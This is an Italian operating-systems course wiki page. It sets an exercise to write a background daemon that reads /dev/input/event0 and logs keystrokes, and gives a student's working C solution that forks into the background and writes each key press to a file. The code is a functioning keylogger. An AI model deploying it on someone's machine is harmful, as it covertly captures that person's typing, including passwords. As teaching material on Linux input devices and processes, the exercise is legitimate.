Demone ruba input

From Sistemi Operativi
Jump to navigation Jump to search

Crea un demone che ascolta sulla tastiera (se il file della tastiera e' event0) e fa da keylogger.

Tutti i caratteri premuti vengono salvati nel file passato come primo argomento. ESC termina l'esecuzione in qualsiasi momento.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <linux/input.h>

#define MAX_BUFFER 16

struct input_event inputs[MAX_BUFFER];

char toChar(int code);

/**
 * Federico Giuggioloni 2 Marzo 2015
 */
int main(int args, char* argv[])
{

   if(fork())
   {
      //Padre
      exit(0);
   }
   else
   {
      //Figlio
      //printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
      int i = 0;
      int fd = open("/dev/input/event0", O_RDONLY);
      int fd1 = open(argv[1], O_CREAT | O_TRUNC | O_WRONLY);

      while(1)
      {
         //read(fd, &letto, sizeof(int));
         read(fd, inputs, sizeof(struct input_event) * MAX_BUFFER);
         for(i = 0; i < MAX_BUFFER; i++)
         {
            char c = toChar(inputs[i].code);
            //printf("%c\t", c);
            if(inputs[i].code == KEY_ESC)
            {
               exit(0);
            }
            else if(inputs[i].code == KEY_ENTER)
            {

            }
            else if(inputs[i].code != 0 && inputs[i].type == EV_KEY
                  && inputs[i].value == 1)
            {
               write(fd1, &c, 1);
            }

         }
         //printf("\n");
         i++;
      }

      //printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
      exit(0);
   }

   return 0;
}

char toChar(int code)
{
   switch(code)
   {
      case KEY_Q:
         return 'q';
      case KEY_W:
         return 'w';
      case KEY_E:
         return 'e';
      case KEY_R:
         return 'r';
      case KEY_T:
         return 't';
      case KEY_Y:
         return 'y';
      case KEY_U:
         return 'u';
      case KEY_I:
         return 'i';
      case KEY_O:
         return 'o';
      case KEY_P:
         return 'p';
      case KEY_A:
         return 'a';
      case KEY_S:
         return 's';
      case KEY_D:
         return 'd';
      case KEY_F:
         return 'f';
      case KEY_G:
         return 'g';
      case KEY_H:
         return 'h';
      case KEY_J:
         return 'j';
      case KEY_K:
         return 'k';
      case KEY_L:
         return 'l';
      case KEY_Z:
         return 'z';
      case KEY_X:
         return 'x';
      case KEY_C:
         return 'c';
      case KEY_V:
         return 'v';
      case KEY_B:
         return 'b';
      case KEY_N:
         return 'n';
      case KEY_M:
         return 'm';
      case KEY_SPACE:
         return ' ';
      default:
         return '0';
   }
}

GFede (talk) 13.43 Mon, 02 Mar 2015 (CET)